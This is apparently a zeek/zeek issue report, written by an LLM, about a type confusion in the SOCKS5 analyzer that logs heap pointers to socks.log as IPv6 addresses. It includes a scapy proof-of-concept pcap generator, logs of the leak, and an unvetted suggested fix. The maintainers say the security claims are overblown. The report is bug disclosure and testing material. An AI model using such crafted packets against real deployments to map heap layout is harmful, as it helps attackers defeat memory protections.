SOCKS: Type confusion in SOCKS5 IPv6 address handling leaks heap pointers into socks.log
This was originally opened as a security issue, but the team decided that it's not relevant from a security context. It is, however, a bug. Its security claims are overblown, but I did not edit most of them, since logs are considered locked down.
This issue was generated entirely by an LLM.
Summary
When a SOCKS5 request or reply carries an IPv6 address (ATYP = 4), the SOCKS analyzer
reinterpret_casts the binpac-generated std::vector<uint32>* — a pointer to the vector
object — directly to const uint32_t* and passes it to the IPAddr constructor, which
memcpy()s 16 bytes from it. The 16 bytes copied are the std::vector's internal begin/end
heap pointers (libstdc++ _M_start/_M_finish), not the parsed address. The resulting
"IPv6 address" delivered to socks_request/socks_reply and written to socks.log is two raw
heap pointers, disclosing process memory layout (heap ASLR) to anyone who can read the logs
or consume the events. The attacker-supplied address bytes are never reflected anywhere, so
SOCKS5 IPv6 logging is also silently broken. On 32-bit builds (sizeof(std::vector) == 12)
the 16-byte memcpy additionally reads 4 bytes past the heap-allocated vector object.
Technical details
Sink — src/analyzer/protocol/socks/socks-analyzer.pac:99-102 (request path; identical
pattern at 139-142 for the reply path):
Path:
src/analyzer/protocol/socks/socks-protocol.pac:112declares4 -> ipv6: uint32[4];. binpac parses the 16 wire bytes into a heap-allocatedstd::vector<uint32>(generated code:ipv6_ = new vector<uint32>;+ 4push_backs), and the generated accessor returnsvector<uint32>*— a pointer to the vector object, not its element buffer.${request.remote_name.ipv6}therefore expands torequest->remote_name()->ipv6()of typestd::vector<uint32>*. Thereinterpret_castsilently converts the object pointer toconst uint32_t*with no.data()dereference.IPAddr(IPv6, bytes, Network)—src/IPAddr.h:397— executesmemcpy(in6.s6_addr, bytes, sizeof(in6.s6_addr)): a 16-byte read from the std::vector's object representation. On LP64 that is_M_startand_M_finish— two heap pointers, which differ by exactly 16 (4 elements x 4 bytes).- The
AddrValis stored in theSOCKS::Addressrecord and enqueued tosocks_request/socks_reply(the construction happens before theif ( socks_request/socks_reply )handler check, so the type-confused memcpy runs even with no handlers installed); the default base script logs it to socks.log.
There is no validation between the accessor and the memcpy. Compare the correct pattern used
elsewhere in the same file (${...domain_name.name}.data() at lines 97/137) and in
krb-types.pac, which call .data() on a bytestring before casting.
Reachability: SOCKS is default-enabled (registered on 1080/tcp, plus DPD signatures). The
state machine only requires a responder 05 00 auth-negotiation reply (sets
v5_past_authentication), after which 05 01 00 04 <16 bytes> <port> from the originator
reaches the request-path case 4 and 05 00 00 04 <16 bytes> <port> from the responder
reaches the reply-path case 4. All bytes are attacker-craftable.
Reproduction
Self-contained pcap generator (scapy). The attacker-supplied IPv6 address is the distinctive
pattern 1111:2222:3333:4444:5555:6666:7777:8888; the bug is proven if socks.log records a
different address (the heap pointers) and the pattern appears nowhere.
#!/usr/bin/env python3
# SOCKS5 ATYP=4 type confusion -> heap pointers logged as IPv6 address.
from scapy.all import IP, TCP, wrpcap
CLI, SRV, SPORT, DPORT = "10.0.0.1", "10.0.0.2", 40001, 1080
ADDR16 = bytes.fromhex("11112222333344445555666677778888")
pkts, cs, ss = [], 1000, 2000
def seg(orig, payload=b"", flags="PA"):
global cs, ss
if orig:
p = IP(src=CLI, dst=SRV)/TCP(sport=SPORT, dport=DPORT, flags=flags, seq=cs, ack=ss)/payload
cs += len(payload)
else:
p = IP(src=SRV, dst=CLI)/TCP(sport=DPORT, dport=SPORT, flags=flags, seq=ss, ack=cs)/payload
ss += len(payload)
pkts.append(p)
pkts.append(IP(src=CLI, dst=SRV)/TCP(sport=SPORT, dport=DPORT, flags="S", seq=cs)); cs += 1
pkts.append(IP(src=SRV, dst=CLI)/TCP(sport=DPORT, dport=SPORT, flags="SA", seq=ss, ack=cs)); ss += 1
pkts.append(IP(src=CLI, dst=SRV)/TCP(sport=SPORT, dport=DPORT, flags="A", seq=cs, ack=ss))
seg(True, b"\x05\x01\x00") # auth methods offer
seg(False, b"\x05\x00") # no-auth selected
seg(True, b"\x05\x01\x00\x04" + ADDR16 + b"\x00\x50") # CONNECT, ATYP=4 (IPv6)
seg(False, b"\x05\x00\x00\x04" + ADDR16 + b"\x00\x50") # reply, ATYP=4 (IPv6)
seg(True, b"", flags="FA"); cs += 1
seg(False, b"", flags="FA"); ss += 1
wrpcap("022-socks5.pcap", pkts, linktype=101) # LINKTYPE_RAWRun:
zeek -r 022-socks5.pcap -C LogAscii::use_json=T
cat socks.logObserved results
Release build (RelWithDebInfo), exit 0. Attacker sent 1111:2222:3333:4444:5555:6666:7777:8888
in both directions; socks.log instead contains:
{"ts":1785868084.4157,"uid":"CHOc1Y3P0mWRnH1IO2","id.orig_h":"10.0.0.1","id.orig_p":40001,
"id.resp_h":"10.0.0.2","id.resp_p":1080,"version":5,"status":"succeeded",
"request.host":"b037:775a:5555:0:c037:775a:5555:0","request_p":80,
"bound.host":"a0e3:3858:5555:0:b0e3:3858:5555:0","bound_p":80}Decoding each logged "address" as two little-endian 64-bit words:
request.host→0x55555a7737b0,0x55555a7737c0(delta 16)bound.host→0x55555838e3a0,0x55555838e3b0(delta 16)
The delta of exactly 16 bytes = 4 x uint32 elements matches _M_start/_M_finish of the
heap-allocated vector<uint32> verbatim. A second run of the identical pcap yields
different pointers (ASLR), confirming the values are process memory, not derived from the
wire:
"request.host":"70b6:555a:5555:0:80b6:555a:5555:0", "bound.host":"90e4:4458:5555:0:a0e4:4458:5555:0"Control (identical exchange with ATYP=1, IPv4 1.2.3.4/5.6.7.8) logs the wire bytes
correctly:
"request.host":"1.2.3.4","request_p":80,"bound.host":"5.6.7.8","bound_p":80The attacker-supplied IPv6 pattern appears in no log in the trigger runs.
Suggested fix
[!NOTE] This fix was generated by an LLM, I do not vouch for its validity.
Pass the vector's element data instead of the vector object. Since binpac has already
byte-swapped each uint32 to host order, use IPAddr::Host:
case 4:
{
const auto* v6 = ${request.remote_name.ipv6};
uint32_t tmp[4] = { (*v6)[0], (*v6)[1], (*v6)[2], (*v6)[3] };
sa->Assign(0, zeek::make_intrusive<zeek::AddrVal>(zeek::IPAddr(IPv6, tmp, zeek::IPAddr::Host)));
}
break;Apply the same change at socks-analyzer.pac:141 for ${reply.bound.ipv6}. Alternatively,
change socks-protocol.pac:112 to parse the field as bytestring &length=16 and pass
.data() with IPAddr::Network, mirroring the KRB analyzer.
Source: zeek/zeek